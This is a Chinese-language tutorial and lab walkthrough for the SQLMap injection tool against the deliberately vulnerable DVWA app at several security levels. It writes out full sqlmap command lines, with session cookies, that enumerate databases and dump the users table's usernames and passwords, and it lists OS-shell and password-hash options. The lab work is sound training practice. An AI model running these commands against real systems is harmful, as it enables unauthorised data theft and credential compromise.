一、SQLMap介绍
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。
SQLMap采用了以下5种独特的SQL注入技术:
-
基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
-
基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。
-
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
-
联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入。
SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。
二、安装
1、安装git
apt-get install git
2、克隆sqlmap
git clone git://github.com/sqlmapproject/sqlmap.git
3、测试sqlmap是否正常工作,前提要安装python2:apt install python2
cd sqlmap/
./sqlmap.py -h
查看sqlmap的命令字帮助手册
-u "url" #检测注入点
--dbs #列出所有数据库的名称
--current-db #列出当前数据库的名称
-D #指定一个数据库
--table #列出所有表名
-T #指定表名
--columns #列出所有字段名
-C #指定字段
--dump #列出字段内容
--os-shell # 提示输入交互式操作系统shell
--os-cmd=OSCMD # Execute an operating system command
--passwords # 枚举DBMS用户密码哈希
-v VERBOSE: 用于设置输出消息的详细级别。存在七个级别的冗长。默认级别为 1。
-
0:仅显示 Python 回溯、错误和关键消息。
-
1:还显示信息和警告消息。
-
2:还显示调试消息。
-
3:还显示注入的有效负载。
-
4:还显示 HTTP 请求。
-
5:还显示 HTTP 响应的标头。
-
6:还显示 HTTP 响应的页面内容。
sqlmap.py -u "注入地址" --dbs # 列举数据库
sqlmap.py -u "注入地址" --current--db # 当前数据库
sqlmap.py -u "注入地址" --users # 列数据库用户
sqlmap.py -u "注入地址" --current--user # 当前用户
sqlmap.py -u "注入地址" --tables -D "数据库" # 列举指定数据库的表名
sqlmap.py -u "注入地址" --columns -T "表名" -D "数据库" # 获取数据库表的列名
sqlmap.py -u "注入地址" --dump -T "表名" -D "数据库" # 获取数据库表的所有内容
sqlmap.py -u "注入地址" --dump -C "列名字1, 列名字2" -T "表名字" -D "数据库" # 获取数据库下表的列信息
sqlmap: automatic SQL injection and database takeover tool有个视频演示。
三、Kail自带的sqlmap更新
先输入 sqlmap -update命令 但是命令没有成功 看来是不对的。
1、找到sqlmap的安装路径 因为kali自带sqlmap所以一般的路径都是/usr/share/sqlmap;
2、cd /usr/share/
3、删除掉原来的sqlmap:rm -rf sqlmap
4、输入 git clone GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
5、更新完成了输入sqlmap -h
四、kail+靶机演示
4.1、dvwa(Low)GET请求
4.1.1、环境准备
1、登录Metasploitable2靶机的http://192.168.11.105/dvwa,输入用户密码:admin/password, dvwa版本: Version 1.0.7 (Release date: 08/09/10)
2、点击"DVWA Security",首先将难度调整为Low。
3、点击SQL Injection,我们在查询接口输入User Id为1进行查询,这时候生成的地址就是我们的目标注入点http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,同时Cookie的值是security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979
4.1.2、注入探测
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979"
可以看出,爆出了SQL注入漏洞,探测到数据库是mysql,版本4.1以上,所在操作系统Linux Ubuntu 8.04。
当SQLMap执行该命令时,它会执行以下步骤:
1)判断可注入的参数;
2)判断可以用哪种SQL注入技术来注入;
3)识别出哪种数据库;
4)根据用户选择,读取哪些数据。
4.1.3、获取所有数据库
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dbs
可以看出列出了7个数据库名。
4.1.4、获取指定数据库内的所有表
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --tables -D dvwa
4.1.5、查看用户表中的所有数据
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -T users -D dvwa
4.1.6、获取指定表中列名
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --columns -T users -D dvwa
4.1.7、获取指定表中指定列的值
sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -C "user, password" -T users -D dvwa
dvwa版本:
Version 1.0.7 (Release date: 08/09/10),调整为medium级别后,SQL注入还是GET方式,跟low级别一样,推测是dvwa版本太低导致。
故docker搭建新的一套dvwa环境(docker run --name dvwa -d -p 80:80 -p 3306:3306 -e MYSQL_PASS="root" citizenstig/dvwa,dvwa版本:
Version 1.9 (Release date: 2015-09-19))。
4.2、dvwa(Medium) POST请求
dvwa版本:
Version 1.9 (Release date: 2015-09-19)
4.2.1、调整靶场难度等级为中级
4.2.2、确定注入点
难度调整为中级之后,请求方式变成了post,查询输入接口由手动输入变成了选择方式,且在url不会直接显示我们的查询请求。
POST http://192.168.11.135/vulnerabilities/sqli/
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium
4.2.3、注入探测
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"
4.2.4、获取所有数据库
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --dbs
可以看出列出了4个数据库名。
4.2.5、获取指定数据库内的所有表
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --tables -D dvwa
4.2.6、查看用户表中的所有数据
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --dump -T users -D dvwa
4.2.7、获取指定表中列名
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --columns -T users -D dvwa
4.2.8、获取指定表中指定列的值
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --dump -C "user, password" -T users -D dvwa
4.3、dvwa(High)
dvwa版本:
Version 1.9 (Release date: 2015-09-19)
4.3.1、调整级别
将DVWA难度调整为high之后,可以看到high等级的输入查询在弹窗进行输入,而数据显示确在原窗口进行显示。
原窗口数据包请求方式为GET:
GET http://192.168.11.135/vulnerabilities/sqli/
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
弹出的输入窗口请求方式为POST:
POST http://192.168.11.135/vulnerabilities/sqli/session-input.php
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
负载:id=1&Submit=Submit
4.3.2、需要用到联合查询命令‘second-url’
sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/session-input.php" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high" --data "id=1&Submit=Submit" --second-u "http://192.168.11.135/vulnerabilities/sqli/"
4.4、dvwa(Impossible)
dvwa版本:
Version 1.9 (Release date: 2015-09-19)
Low、Medium、High级别其实都是通过限制数据输入来起到防护作用,而我们在手工注入的时候通过使用burpsuit等抓包工具篡改数据包都是可以绕过它的限制的。
Impossible等级则是在数据传到后端之后先进行了格式验证,然后还使用了PDO预处理。人家都说了Impossible,目前是无法进行注入的。
五、-r参数(从文本文件中获取http请求)
命令实例: sqlmap -r /usr/a.txt
说明:使用该命令时须指明a.txt(保存着http请求包)文件所在的绝对路径
验证过程:与-u参数类似
-
判断可注入的参数
-
判断可以用哪种SQL注入技术来注入
-
识别出所有存在的注入类型
-
尝试去判定数据库版本、开发语言、操作系统版本
5.1、dvwa(Low) GET请求
利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
爆当前数据库的库名:sqlmap -r /usr/share/sqlmap/zq.txt --current-db
生成缓存:/root/.local/share/sqlmap/output/192.168.11.135
5.2、dvwa(Medium) POST请求
利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
删除缓存:rm -rf /root/.local/share/sqlmap/output/192.168.11.135
爆当前数据库的库名:sqlmap -r /usr/share/sqlmap/zq.txt --current-db
六、参考
kali自带的sqlmap更新_XTJ469的博客-CSDN博客_sqlmap更新
sqlmap自动化漏洞利用(DVWA初、中、高)_PisaYu的博客-CSDN博客_sqlmap 渗透dvwa
《sqlmap 官网》
搭建DVWA漏洞环境_青霄的博客-CSDN博客